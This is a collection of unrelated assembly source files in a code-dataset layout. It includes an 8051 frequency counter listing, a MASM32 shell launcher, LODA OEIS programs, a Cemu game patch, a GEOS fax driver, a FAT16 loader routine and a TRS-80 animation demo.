inc _mainFreq
clr a
cjne a,_mainFreq,00177$
inc (_mainFreq + 1)
cjne a,(_mainFreq + 1),00177$
inc (_mainFreq + 2)
cjne a,(_mainFreq + 2),00177$
inc (_mainFreq + 3)
00177$:
; main.c:183: break;
ret
; main.c:184: case 2: //-
00106$:
; main.c:185: switch(mode){
clr a
cjne a,_mode,00178$
sjmp 00107$
00178$:
mov a,#0x01
cjne a,_mode,00179$
sjmp 00108$
00179$:
mov a,#0x02
cjne a,_mode,00180$
sjmp 00109$
00180$:
ret
; main.c:186: case Freq:
00107$:
; main.c:187: speed=FAST;
mov _speed,#0x0a
; main.c:188: putstr(fast);
mov dptr,#_fast
lcall _putstr
; main.c:189: reset();
lcall _reset
; main.c:190: gateDelay=16;
mov _gateDelay,#0x10
; main.c:191: delay=1000;
mov _delay,#0xe8
mov (_delay + 1),#0x03
; main.c:192: break;
; main.c:193: case Counter:
ret
00108$:
; main.c:194: reset();
; main.c:195: break;
; main.c:196: case Tune:
ljmp _reset
00109$:
; main.c:197: --mainFreq;
dec _mainFreq
mov a,#0xff
cjne a,_mainFreq,00181$
dec (_mainFreq + 1)
cjne a,(_mainFreq + 1),00181$
dec (_mainFreq + 2)
cjne a,(_mainFreq + 2),00181$
dec (_mainFreq + 3)
00181$:
; main.c:201: break;
; main.c:202: case 3: //Freq<->counter
ret
00111$:
; main.c:203: if(mode!=Freq){
mov a,_mode
jz 00113$
; main.c:204: mode=Freq;
mov _mode,#0x00
; main.c:205: putstr(freq);
mov dptr,#_freq
lcall _putstr
sjmp 00114$
00113$:
; main.c:207: mode=Counter;
mov _mode,#0x01
; main.c:208: putstr(counter);
mov dptr,#_counter
lcall _putstr
00114$:
; main.c:210: reset();
lcall _reset
; main.c:211: delay=1000;
mov _delay,#0xe8
mov (_delay + 1),#0x03
; main.c:213: break;
; main.c:214: case 4:
ret
00115$:
; main.c:215: if(mode!=Freq){
mov a,_mode
jz 00117$
; main.c:216: mode=Freq;
mov _mode,#0x00
; main.c:217: putstr(freq);
mov dptr,#_freq
lcall _putstr
sjmp 00118$
00117$:
; main.c:219: mode=Tune;
mov _mode,#0x02
; main.c:220: putstr(finetune);
mov dptr,#_finetune
lcall _putstr
00118$:
; main.c:222: reset();
lcall _reset
; main.c:223: delay=1000;
mov _delay,#0xe8
mov (_delay + 1),#0x03
; main.c:226: }
; main.c:228: }
ret
;------------------------------------------------------------
;Allocation info for local variables in function 'main'
;------------------------------------------------------------
;n Allocated to registers r0 r1 r2 r3
;------------------------------------------------------------
; main.c:230: void main(void){
; -----------------------------------------
; function main
; -----------------------------------------
_main:
; main.c:232: PT0=1;PT1=1;
; assignBit
setb _PT0
; assignBit
setb _PT1
; main.c:233: PT2=1;
; assignBit
setb _PT2
; main.c:234: SCON=0;
mov _SCON,#0x00
; main.c:235: REN=0;
; assignBit
clr _REN
; main.c:236: ES=1;
; assignBit
setb _ES
; main.c:237: GATECTL=0;
; assignBit
clr _P3_6
; main.c:238: CLR=1;
; assignBit
setb _P3_7
; main.c:239: TMOD=0x55;
mov _TMOD,#0x55
; main.c:240: TR0=0;TR1=0;ET0=1;ET1=1;
; assignBit
clr _TR0
; assignBit
clr _TR1
; assignBit
setb _ET0
; assignBit
setb _ET1
; main.c:241: TH0=0;
mov _TH0,#0x00
; main.c:242: TL0=0;
mov _TL0,#0x00
; main.c:243: TH1=0;
mov _TH1,#0x00
; main.c:244: TL1=0;
mov _TL1,#0x00
; main.c:245: RCAP2H=0xFC; //10M 1/1000s
mov _RCAP2H,#0xfc
; main.c:246: RCAP2L=0xBE;
mov _RCAP2L,#0xbe
; main.c:247: T2CON=0;
mov _T2CON,#0x00
; main.c:248: T2MOD=0;
mov _T2MOD,#0x00
; main.c:249: TR2=1;
; assignBit
setb _TR2
; main.c:250: ET2=1;
; assignBit
setb _ET2
; main.c:251: EA=1;
; assignBit
setb _EA
; main.c:252: putstr(cymomer);
mov dptr,#_cymomer
lcall _putstr
; main.c:253: delay=1000;
mov _delay,#0xe8
mov (_delay + 1),#0x03
; main.c:254: while(1){
00124$:
; main.c:255: PCON|=1;
orl _PCON,#0x01
; main.c:256: setmode();
lcall _setmode
; main.c:257: if(delay>0){delay--;continue;}
mov a,_delay
orl a,(_delay + 1)
jz 00102$
dec _delay
mov a,#0xff
cjne a,_delay,00169$
dec (_delay + 1)
00169$:
sjmp 00124$
00102$:
; main.c:258: switch(mode){
clr a
cjne a,_mode,00170$
sjmp 00103$
00170$:
mov a,#0x01
cjne a,_mode,00171$
sjmp 00111$
00171$:
mov a,#0x02
; main.c:259: case Freq:
cjne a,_mode,00124$
sjmp 00112$
00103$:
; main.c:260: if(!GATE&&!GATECTL||gateDelay==0){
jb _P3_3,00110$
jnb _P3_6,00106$
00110$:
mov a,_gateDelay
jnz 00107$
00106$:
; main.c:261: gatelost=gateDelay==0;
mov a,_gateDelay
cjne a,#0x01,00176$
00176$:
mov _gatelost,c
; main.c:262: reset();
lcall _reset
; main.c:263: putlong(getFreq());
lcall _getFreq
lcall _putlong
; main.c:264: gateDelay=16;
mov _gateDelay,#0x10
sjmp 00124$
00107$:
; main.c:265: }else if(gateDelay==5){
mov a,#0x05
cjne a,_gateDelay,00124$
; main.c:266: GATECTL=0;
; assignBit
clr _P3_6
; main.c:268: break;
; main.c:269: case Counter:
sjmp 00124$
00111$:
; main.c:270: putlong(getCount());
lcall _getCount
lcall _putlong
; main.c:271: delay=50;
mov _delay,#0x32
mov (_delay + 1),#0x00
; main.c:272: break;
ljmp 00124$
; main.c:273: case Tune:
00112$:
; main.c:274: if(!GATE&&!GATECTL||gateDelay==0){
jb _P3_3,00121$
jnb _P3_6,00117$
00121$:
mov a,_gateDelay
jnz 00118$
00117$:
; main.c:275: gatelost=!gatelost;
cpl _gatelost
; main.c:276: reset();
lcall _reset
; main.c:277: n=getFreq();
lcall _getFreq
mov r4,dpl
mov r5,dph
mov r6,b
mov r7,a
mov ar0,r4
mov ar1,r5
mov ar2,r6
mov ar3,r7
; main.c:278: if(n==0)n=mainFreq;
mov a,r4
orl a,r5
orl a,r6
orl a,r7
jnz 00114$
mov r0,_mainFreq
mov r1,(_mainFreq + 1)
mov r2,(_mainFreq + 2)
mov r3,(_mainFreq + 3)
00114$:
; main.c:279: putlong(n);
mov dpl,r0
mov dph,r1
mov b,r2
mov a,r3
lcall _putlong
; main.c:280: gateDelay=16;
mov _gateDelay,#0x10
ljmp 00124$
00118$:
; main.c:281: }else if(gateDelay==5){
mov a,#0x05
cjne a,_gateDelay,00183$
sjmp 00184$
00183$:
ljmp 00124$
00184$:
; main.c:282: GATECTL=0;
; assignBit
clr _P3_6
; main.c:285: }
; main.c:288: }
ljmp 00124$
.area CSEG (CODE)
.area CONST (CODE)
_LedSegs:
.db #0x03 ; 3
.db #0x9f ; 159
.db #0x25 ; 37
.db #0x0d ; 13
.db #0x99 ; 153
.db #0x49 ; 73 'I'
.db #0x41 ; 65 'A'
.db #0x1f ; 31
.db #0x01 ; 1
.db #0x09 ; 9
.db #0x11 ; 17
.db #0xc1 ; 193
.db #0x63 ; 99 'c'
.db #0x85 ; 133
.db #0x61 ; 97 'a'
.db #0x71 ; 113 'q'
_LedDigit:
.db #0x01 ; 1
.db #0x02 ; 2
.db #0x04 ; 4
.db #0x08 ; 8
.db #0x10 ; 16
.db #0x20 ; 32
.db #0x40 ; 64
.db #0x80 ; 128
_cymomer:
.db #0x63 ; 99 'c'
.db #0x89 ; 137
.db #0x55 ; 85 'U'
.db #0xc5 ; 197
.db #0x55 ; 85 'U'
.db #0x21 ; 33
.db #0xf5 ; 245
.db #0xff ; 255
_counter:
.db #0x63 ; 99 'c'
.db #0xc5 ; 197
.db #0xc7 ; 199
.db #0xd5 ; 213
.db #0xe1 ; 225
.db #0x21 ; 33
.db #0xf5 ; 245
.db #0xff ; 255
_freq:
.db #0x71 ; 113 'q'
.db #0xf5 ; 245
.db #0x21 ; 33
.db #0x19 ; 25
.db #0xff ; 255
.db #0xff ; 255
.db #0xff ; 255
.db #0xff ; 255
_fast:
.db #0x43 ; 67 'C'
.db #0x11 ; 17
.db #0xe1 ; 225
.db #0x61 ; 97 'a'
.db #0xff ; 255
.db #0x02 ; 2
.db #0x9f ; 159
.db #0x4b ; 75 'K'
_normal:
.db #0x43 ; 67 'C'
.db #0x11 ; 17
.db #0xe1 ; 225
.db #0x61 ; 97 'a'
.db #0xff ; 255
.db #0x9e ; 158
.db #0x03 ; 3
.db #0x4b ; 75 'K'
_finetune:
.db #0x71 ; 113 'q'
.db #0xdf ; 223
.db #0xd5 ; 213
.db #0x21 ; 33
.db #0xe1 ; 225
.db #0xc7 ; 199
.db #0xd5 ; 213
.db #0x21 ; 33
.area XINIT (CODE)
.area CABS (ABS,CODE)
| 21.337431 | 97 | 0.581778 |
b0b3b9ba8a20831f110b0ba8c49441953767f658 | 1,335 | asm | Assembly | exampl02/shellex/shellex.asm | AlexRogalskiy/Masm | d39498878f140696b299c76436f209156961429e | [
"MIT"
] | null | null | null | exampl02/shellex/shellex.asm | AlexRogalskiy/Masm | d39498878f140696b299c76436f209156961429e | [
"MIT"
] | null | null | null | exampl02/shellex/shellex.asm | AlexRogalskiy/Masm | d39498878f140696b299c76436f209156961429e | [
"MIT"
] | null | null | null | ; #########################################################################
; A simple useful toy, Shellex takes a command line which is a drive
; and directory path. Set it as a shortcut on your desktop with the
; path you require and it will start a window in explorer where you
; specify.
; If you set it with a URL, it will open that as well in your default
; browser so you can have a favourite site parked on your desktop that
; is only a double click away.
; #########################################################################
.386
.model flat, stdcall ; 32 bit memory model
option casemap :none ; case sensitive
include \MASM32\INCLUDE\windows.inc
include \MASM32\INCLUDE\kernel32.inc
include \MASM32\INCLUDE\shell32.inc
include \MASM32\INCLUDE\masm32.inc
includelib \MASM32\LIB\kernel32.lib
includelib \MASM32\LIB\shell32.lib
includelib \MASM32\LIB\masm32.lib
; #########################################################################
.data
open db "open",0
dir db 128 dup (0) ; buffer for command line
.code
start:
invoke GetCL,1,ADDR dir
invoke ShellExecute,0,ADDR open,ADDR dir,NULL,NULL,SW_SHOW
invoke ExitProcess,eax
end start
; #########################################################################
| 29.666667 | 75 | 0.537828 |
020d0812e49590c165a60ff71b3ad5559bc4a61a | 446 | asm | Assembly | oeis/337/A337728.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/337/A337728.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/337/A337728.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A337728: a(n) = (4*n+1)! * Sum_{k=0..n} 1 / (4*k+1)!.
; Submitted by Christian Krause
; 1,121,365905,6278929801,358652470233121,51516840824285500441,15640512874253077933887601,8915467710633236496186345872425,8755702529258688898174686554391144001,13878488965077362598718732163634314533105081,33731389859841228248933904149069928786421237268881
mul $0,4
add $0,1
seq $0,330045 ; Expansion of e.g.f. exp(x) / (1 - x^4).
div $0,4
mul $0,4
add $0,1
| 40.545455 | 255 | 0.780269 |
92d4196e2ff620ba5fab5ba5438b65d52fd8caf0 | 558 | asm | Assembly | asm/out.asm | spratt/lc2.js | c1c628db927982888f5882a38c4345bbe7e7a568 | [
"0BSD"
] | 1 | 2017-01-24T14:03:43.000Z | 2017-01-24T14:03:43.000Z | asm/out.asm | spratt/lc2.js | c1c628db927982888f5882a38c4345bbe7e7a568 | [
"0BSD"
] | 1 | 2016-12-28T01:44:23.000Z | 2016-12-28T02:51:52.000Z | asm/out.asm | spratt/lc2.js | c1c628db927982888f5882a38c4345bbe7e7a568 | [
"0BSD"
] | null | null | null | ;;; out.asm
;;; OUT service routine (system call)
;;; adapted from Figure 9.5, Patt & Patel
.orig 0x0430
st r7, SaveR7 ; Save linkage back to the program
st r1, SaveR1 ; Save register value to restore at end
;;; Write the character
ChkRdy: ldi r1, CRTSR
brzp ChkRdy
sti r0, CRTDR
;;; Return from trap
ld r1, SaveR1
ld r7, SaveR7
ret
CRTSR: .fill 0xf3fc
CRTDR: .fill 0xf3ff
SaveR1: .fill 0x0000
SaveR7: .fill 0x0000
.end
| 22.32 | 71 | 0.544803 |
2467f9a80780ef9d6cdde25bcaec19266b9c9dbf | 1,212 | asm | Assembly | Mods/HyruleWarriors_IncreaseDrawDistance/patch_drawDistance.asm | emulationchannel/cemu_graphic_packs | ddcc38bc3eb703f8f9cfdcca6257ef99f42c91dd | [
"CC0-1.0"
] | null | null | null | Mods/HyruleWarriors_IncreaseDrawDistance/patch_drawDistance.asm | emulationchannel/cemu_graphic_packs | ddcc38bc3eb703f8f9cfdcca6257ef99f42c91dd | [
"CC0-1.0"
] | null | null | null | Mods/HyruleWarriors_IncreaseDrawDistance/patch_drawDistance.asm | emulationchannel/cemu_graphic_packs | ddcc38bc3eb703f8f9cfdcca6257ef99f42c91dd | [
"CC0-1.0"
] | null | null | null | [DrawDistance_v208]
moduleMatches = 0xE159AE91
.origin = codecave
##object clip
#0x100DD068 = .float 1.5 #0.5
0x100DD06C = .float 1.5 #3.0
#0x025F0554 = nop #same as setting 0x100DD06C to 0. Fix this when instruction supported.
#0x025F02F4 = nop #
#stage clip
0x100DFEC4 = .float 1.5
#0x100DFEC8 = .float 3.0
##stage clip update
0x100DFECC = .float 2.0
0x100DFED8 = .float 2.0
0x100DFEDC = .float 2.0
0x100DFEE0 = .float 2.0
0x100FF060 = .float 0.99 # force high mip / texture lod
0x100DD8C4 = .float 9900.0 # some smoke / particles
# shadow draw distance (more like boundary)
0x10000B20 = .float 8000.0
0x10000B24 = .float 20000.0
#fov
#0x10006FD0 = .float 0.015 #fov .float 0.017453292 # DATA XREF: CActFunc::GetViewParameter((PLAYER_ID,S_VIEW_PARAM &,uint))+194o
# scatter light (fog)
#0x1001CA64 = .float 2.5 # 2.0 default, 4.0 dark
#NPC text lod
#0x1009E134 = .float -8.0 #flt_1009E134: .float -1.0 # DATA XREF: CActModuleModelCommon::fGetMipLodBias(const(void))+4Co
#0x1009E138 = .float 0.0 #flt_1009E138: .float 0.0 # DATA XREF: CActModuleModelCommon::fGetMipLodBias(const(void)):loc_22BF3FCo
##dist from link
#0x100962BC = .float 0.25 #flt_100962BC: .float 0.0
| 33.666667 | 135 | 0.711221 |
23b428acf7ae48e2fc7c23f94035d7f33205ec0e | 578 | asm | Assembly | programs/oeis/033/A033442.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/033/A033442.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/033/A033442.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A033442: Number of edges in 10-partite Turán graph of order n.
; 0,0,1,3,6,10,15,21,28,36,45,54,64,75,87,100,114,129,145,162,180,198,217,237,258,280,303,327,352,378,405,432,460,489,519,550,582,615,649,684,720,756,793,831,870,910,951,993,1036,1080,1125,1170,1216,1263,1311,1360,1410,1461,1513,1566,1620,1674,1729,1785,1842,1900,1959,2019,2080,2142,2205,2268,2332,2397,2463,2530,2598,2667,2737,2808,2880,2952,3025,3099,3174,3250,3327,3405,3484,3564,3645,3726,3808,3891,3975,4060,4146,4233,4321,4410
mov $2,$0
lpb $2
add $1,$2
sub $1,$0
trn $0,10
sub $2,1
lpe
mov $0,$1
| 48.166667 | 433 | 0.724913 |
6074fd7b631f829b965779ec186f3d04ea1b2384 | 4,925 | asm | Assembly | Driver/Printer/Fax/FaxPrint/faxprintManager.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 504 | 2018-11-18T03:35:53.000Z | 2022-03-29T01:02:51.000Z | Driver/Printer/Fax/FaxPrint/faxprintManager.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 96 | 2018-11-19T21:06:50.000Z | 2022-03-06T10:26:48.000Z | Driver/Printer/Fax/FaxPrint/faxprintManager.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 73 | 2018-11-19T20:46:53.000Z | 2022-03-29T00:59:26.000Z | COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) Geoworks 1994. All rights reserved.
GEOWORKS CONFIDENTIAL
PROJECT: Tiramisu
MODULE: Fax
FILE: faxprintManager.asm
AUTHOR: Jacob Gabrielson, Mar 10, 1993
ROUTINES:
Name Description
---- -----------
REVISION HISTORY:
Name Date Description
---- ---- -----------
jag 3/10/93 Initial revision
AC 9/8/93 Changed for Group3
jdashe 10/10/94 Modified for Tiramisu
DESCRIPTION:
The main manager file for the tiramisu fax print driver.
$Id: faxprintManager.asm,v 1.1 97/04/18 11:53:04 newdeal Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
;------------------------------------------------------------------------------
; Include files
;------------------------------------------------------------------------------
include printcomInclude.def
include Objects/vTextC.def
include char.def
include initfile.def
include assert.def
include localize.def
include timedate.def
UseLib faxfile.def
;------------------------------------------------------------------------------
; Constants and Macros
;------------------------------------------------------------------------------
include printcomConstant.def
include printcomMacro.def
include fax.def ; Fax constants
include faxprintConstant.def ; global constants
include Internal/faxOutDr.def ; more fax constants
include faxprint.rdef ; UI for this driver
;------------------------------------------------------------------------------
; Driver Info Table
;------------------------------------------------------------------------------
idata segment ; MODULE_FIXED
DriverTable DriverExtendedInfoStruct \
< <Entry:DriverStrategy, ; DIS_strategy
mask DA_HAS_EXTENDED_INFO, ; DIS_driverAttributes
DRIVER_TYPE_PRINTER >, ; DIS_driverType
handle DriverInfo ; DEIS_resource
>
public DriverTable
idata ends
;------------------------------------------------------------------------------
; Data Area
;------------------------------------------------------------------------------
udata segment ; MODULE_FIXED
udata ends
;------------------------------------------------------------------------------
; Entry Code
;------------------------------------------------------------------------------
Entry segment resource ; MODULE_FIXED
include printcomEntry.asm ; entry point, misc bookeeping routines
include printcomTables.asm ; jump table for some driver esc calls
include faxprintTables.asm ; table for esc routine
include printcomInfo.asm ; various info getting/setting routines
include printcomAdmin.asm
include printcomNoEscapes.asm ; no escapes here, hombre
Entry ends
;------------------------------------------------------------------------------
; Driver Code
;------------------------------------------------------------------------------
CommonCode segment resource ; MODULE_STANDARD
include printcomNoText.asm
include printcomNoStyles.asm
include printcomNoColor.asm ; no color faxing
include Stream/streamWrite.asm
include faxprintPrintSwath.asm
include faxprintStartPage.asm
include faxprintEndPage.asm
;
; Routines called whenever a new print job starts
;
include Job/jobPaperInfo.asm
include faxprintStartJob.asm
include faxprintEndJob.asm
;
; Routines that add or evaluate UI to the print dialog box
;
;include UI/uiGetMain.asm
;include UI/uiEval.asm
;
; Routines that aren't needed for this driver. They all return clc,
; so that if the spooler calls any of these routines, it won't
; think an error has occurred
;
PrintSetCursor proc far
PrintGetCursor label far
PrintSetPaperPath label far
PrintGetOptionsUI label far
PrintGetMainUI label far
PrintEvalUI label far
PrintStuffUI label far
clc
ret
PrintSetCursor endp
;
; Include routines to handle UI routines
;
include faxprintOffsetTables.asm
include faxprintCommon.asm
CommonCode ends
;------------------------------------------------------------------------------
; Info Resources (each in their own resource)
;------------------------------------------------------------------------------
include faxprintDriverInfo.asm ; info about this driver
include faxprintDeviceInfo.asm ; info about this device
;------------------------------------------------------------------------------
; Get Rid of Annoying Messages
;------------------------------------------------------------------------------
ForceRef PrintSetSymbolSet
ForceRef PrintLoadSymbolSet
ForceRef PrintClearStyles
ForceRef SetNextCMYK
ForceRef SetFirstCMYK
| 26.912568 | 80 | 0.499898 |
06c573eab2b55f43777186a8c85ab59fe62835db | 4,876 | asm | Assembly | Pure64 v0.5.0 Distribution/src/fat16.asm | svilerino/intel_multicore | 346d8946168a71e298dbfefa0f0923419dc80daf | [
"MIT"
] | 1 | 2015-12-15T20:41:01.000Z | 2015-12-15T20:41:01.000Z | Pure64 v0.5.0 Distribution/src/fat16.asm | svilerino/intel_multicore | 346d8946168a71e298dbfefa0f0923419dc80daf | [
"MIT"
] | null | null | null | Pure64 v0.5.0 Distribution/src/fat16.asm | svilerino/intel_multicore | 346d8946168a71e298dbfefa0f0923419dc80daf | [
"MIT"
] | null | null | null | ; =============================================================================
; Pure64 -- a 64-bit OS loader written in Assembly for x86-64 systems
; Copyright (C) 2008-2012 Return Infinity -- see LICENSE.TXT
;
; FAT16 functions
; =============================================================================
; -----------------------------------------------------------------------------
; readcluster -- Read a cluster from the FAT16 partition
; IN: AX - (cluster)
; RDI - (memory location to store at least 32KB)
; OUT: AX - (next cluster)
; RDI - points one byte after the last byte read
readcluster:
push rsi
push rdx
push rcx
push rbx
and rax, 0x000000000000FFFF ; Clear the top 48 bits
mov rbx, rax ; Save the cluster number to be used later
cmp ax, 2 ; If less than 2 then bail out...
jl near readcluster_bailout ; as clusters start at 2
; Calculate the LBA address --- startingsector = (cluster-2) * clustersize + data_start
xor rcx, rcx
mov cl, byte [fat16_SectorsPerCluster]
push rcx ; Save the number of sectors per cluster
sub ax, 2
imul cx ; EAX now holds starting sector
add eax, dword [fat16_DataStart] ; EAX now holds the sector where our cluster starts
add eax, [fat16_PartitionOffset] ; Add the offset to the partition
pop rcx ; Restore the number of sectors per cluster
call readsectors ; Read one cluster of sectors
cmp rcx, 0
je readcluster_error
; Calculate the next cluster
; Psuedo-code
; tint1 = Cluster / 256 <- Dump the remainder
; sector_to_read = tint1 + ReservedSectors
; tint2 = (Cluster - (tint1 * 256)) * 2
push rdi
mov rdi, hdbuffer1 ; Read to this temporary buffer
mov rsi, rdi ; Copy buffer address to RSI
push rbx ; Save the original cluster value
shr rbx, 8 ; Divide the cluster value by 256. Keep no remainder
movzx ax, [fat16_ReservedSectors] ; First sector of the first FAT
add eax, [fat16_PartitionOffset] ; Add the offset to the partition
add rax, rbx ; Add the sector offset
mov rcx, 1
call readsectors
cmp rcx, 0
je readcluster_error
pop rax ; Get our original cluster value back
shl rbx, 8 ; Quick multiply by 256 (RBX was the sector offset in the FAT)
sub rax, rbx ; RAX is now pointed to the offset within the sector
shl rax, 1 ; Quickly multiply by 2 (since entries are 16-bit)
add rsi, rax
lodsw ; AX now holds the next cluster
pop rdi
jmp readcluster_end
readcluster_bailout:
xor ax, ax
readcluster_end:
pop rbx
pop rcx
pop rdx
pop rsi
ret
readcluster_error:
mov rsi, readcluster_err_msg
call os_print_string
jmp exception_gate_halt
; -----------------------------------------------------------------------------
; -----------------------------------------------------------------------------
; findfile --
; IN: RSI(Pointer to file name, must be in 'FILENAMEEXT" format)
; OUT: AX(Staring cluster), 0x0 if not found
; Notes: Only searches the root sector.. not the following sectors.
findfile:
push rsi
push rdi
push rdx
push rcx
push rbx
clc ; Clear carry
xor rax, rax
mov eax, [fat16_RootStart] ; eax points to the first sector of the root
add eax, [fat16_PartitionOffset] ; Add the offset to the partition
mov rdx, rax ; Save the sector value
os_fat16_find_file_read_sector:
mov rdi, hdbuffer1
push rdi
mov rcx, 1
call readsectors
cmp rcx, 0
je os_fat16_find_file_error
pop rdi
mov rbx, 16 ; Each record is 32 bytes. 512 (bytes per sector) / 32 = 16
os_fat16_find_file_next_entry:
cmp byte [rdi], 0x00 ; end of records
je os_fat16_find_file_notfound
mov rcx, 11
push rsi
repe cmpsb
pop rsi
mov ax, [rdi+15] ; AX now holds the starting cluster # of the file we just looked at
jz os_fat16_find_file_done ; The file was found. Note that rdi now is at dirent+11
add rdi, byte 0x20
and rdi, byte -0x20
dec rbx
cmp rbx, 0
jne os_fat16_find_file_next_entry
; At this point we have read though one sector of file names. We have not found the file we are looking for and have not reached the end of the table. Load the next sector.
add rdx, 1
mov rax, rdx
jmp os_fat16_find_file_read_sector
os_fat16_find_file_notfound:
stc ; Set carry
xor rax, rax
os_fat16_find_file_done:
cmp ax, 0x0000 ; BUG HERE
jne wut ; Carry is not being set properly in this function
stc
wut:
pop rbx
pop rcx
pop rdx
pop rdi
pop rsi
ret
os_fat16_find_file_error:
mov rsi, findfile_err_msg
call os_print_string
jmp exception_gate_halt
; -----------------------------------------------------------------------------
readcluster_err_msg: db 'Error reading cluster', 0
findfile_err_msg: db 'Error finding file', 0
; =============================================================================
; EOF
| 29.91411 | 173 | 0.624487 |
f5f85defb837bbd9f8f3dbb8b1140c512154e4ee | 2,228 | asm | Assembly | ta21demo/led_invaders.asm | hallorant/bitmit | 58f337ecbafe04066e71bc54efa4640643bf5373 | [
"Apache-2.0"
] | 6 | 2020-08-16T03:23:37.000Z | 2022-03-19T20:50:27.000Z | ta21demo/led_invaders.asm | hallorant/bitmit | 58f337ecbafe04066e71bc54efa4640643bf5373 | [
"Apache-2.0"
] | 1 | 2021-09-14T22:24:14.000Z | 2021-09-15T01:48:48.000Z | ta21demo/led_invaders.asm | hallorant/bitmit | 58f337ecbafe04066e71bc54efa4640643bf5373 | [
"Apache-2.0"
] | 1 | 2021-09-09T22:50:31.000Z | 2021-09-09T22:50:31.000Z | ; led_invaders.asm
; Animated space invaders-like aliens invade the TRS-80 screen. The aliens
; look strangly like LEDs due to my artwork.
;
; zmac led_invaders.asm
; trs80gp.exe -m1 zout/led_invaders.cmd
screen equ $3c00
org $5200
; Frame 1 of the ship animation: 3 characters X 2 lines.
; 0 1 1 1 1 0
; 0 1 0 0 1 0
; 1 1 1 1 1 1
frame1 defb 10111010b,10110011b,10110101b
; 0 1 0 0 1 0
; 1 0 0 1 0 0
; 0 1 0 0 1 0
defb 10100110b,10001000b,10010001b
; Frame 2 of the ship animation: 3 characters X 2 lines.
; 0 1 1 1 1 0
; 0 1 1 1 1 0
; 1 1 1 1 1 1
frame2 defb 10111010b,10111111b,10110101b
; 0 1 0 0 1 0
; 0 0 1 0 0 1
; 0 1 0 0 1 0
defb 10100010b,10000100b,10011001b
; Clears the screen.
clear_screen:
ld hl,screen
ld de,screen+1
ld bc,$400-1
ld (hl),' ' ; fill with spaces
ldir
ret
; Draws a frame of 3 characters X 2 lines on the screen at the passed address.
; hl - screen address
; ix - frame address
draw_frame:
; Draw the top 3 characters on the screen.
ld a,(ix)
ld (hl),a
inc hl
ld a,(ix+1)
ld (hl),a
inc hl
ld a,(ix+2)
ld (hl),a
; Drop to the next line.
ld bc,62
add hl,bc
; Draw the bottom 3 characters on the screen.
ld a,(ix+3)
ld (hl),a
inc hl
ld a,(ix+4)
ld (hl),a
inc hl
ld a,(ix+5)
ld (hl),a
ret
; Draws a row of invaders on the screen using the passed animation frame.
; ix - frame address
draw_screen:
ld hl,screen+(64*5)+15
call draw_frame
ld hl,screen+(64*5)+20
call draw_frame
ld hl,screen+(64*5)+25
call draw_frame
ld hl,screen+(64*5)+30
call draw_frame
ld hl,screen+(64*5)+35
call draw_frame
ld hl,screen+(64*5)+40
call draw_frame
ld hl,screen+(64*5)+45
call draw_frame
ret
; Pauses for a short period so the animation is not a blur.
wait:
ld bc,$ffff
wait_loop: djnz wait_loop
dec c
jr nz,wait_loop
ret
; Our main progam that loops doing the animation until reboot.
main:
call clear_screen
animation_loop:
ld ix,frame1
call draw_screen
call wait
ld ix,frame2
call draw_screen
call wait
jr animation_loop
end main
| 21.018868 | 78 | 0.62702 |
6d7da5b261ba351da810991f789eab88e09f5a58 | 1,667 | asm | Assembly | examples/hello_world.asm | tomasz-herman/PseudoAssemblerEmulator | 04416fc7d911ce744cdf052c3657ba5e5baf76c3 | [
"MIT"
] | 3 | 2019-09-30T16:43:00.000Z | 2020-01-21T16:52:33.000Z | examples/hello_world.asm | tomasz-herman/PseudoAssemblerEmulator | 04416fc7d911ce744cdf052c3657ba5e5baf76c3 | [
"MIT"
] | 1 | 2020-01-11T19:47:45.000Z | 2020-01-16T15:22:22.000Z | examples/hello_world.asm | tomasz-herman/PseudoAssemblerIDE | 7aa722412b15289e0f84564be0a6997a19471c9c | [
"MIT"
] | null | null | null | ;PROGRAM W STYLU HELLO WORLD
QUESTION: DC STRING("What's your name?\n")
HELLO: DC STRING("Hello ")
NAME: DS 21*CHAR
MAX_NAME_LEN: DC INTEGER(20)
NEWLINE: DC CHAR('\n')
MAIN:
LDA 0, QUESTION
CALL WYPISZ_NAPIS
LDA 0, NAME
LD 1, MAX_NAME_LEN
CALL WCZYTAJ_IMIE
LDA 0, HELLO
CALL WYPISZ_NAPIS
LDA 0, NAME
CALL WYPISZ_NAPIS
EXIT
;WYPISUJE NAPIS OD WSKAZANEGO PRZEZ WSKAŹNIK MIEJSCA AŻ DO NAPOTKANEGO ZNAKU \0
;ARGUMENTY:
;REJESTR 0 - WSKAŹNIK NA NAPIS
;OPERUJE NA:
;REJESTR 1, 2
;WYMAGA DEKLARACJI:
;---
;ZWRACA:
;REJESTR 0 - WEJŚCIOWY POINTER NA TAB
WYPISZ_NAPIS:
PUSH 0
XOR 1, 1
_LOOP1: LDB 2, 0(0)
CMP 2, 1
JZ _STOP1
COUT 2
LDA 0, 0(1)
JMP _LOOP1
_STOP1:
POP 0
RET
;WCZYTUJE NAPIS Z KLAWIATURY
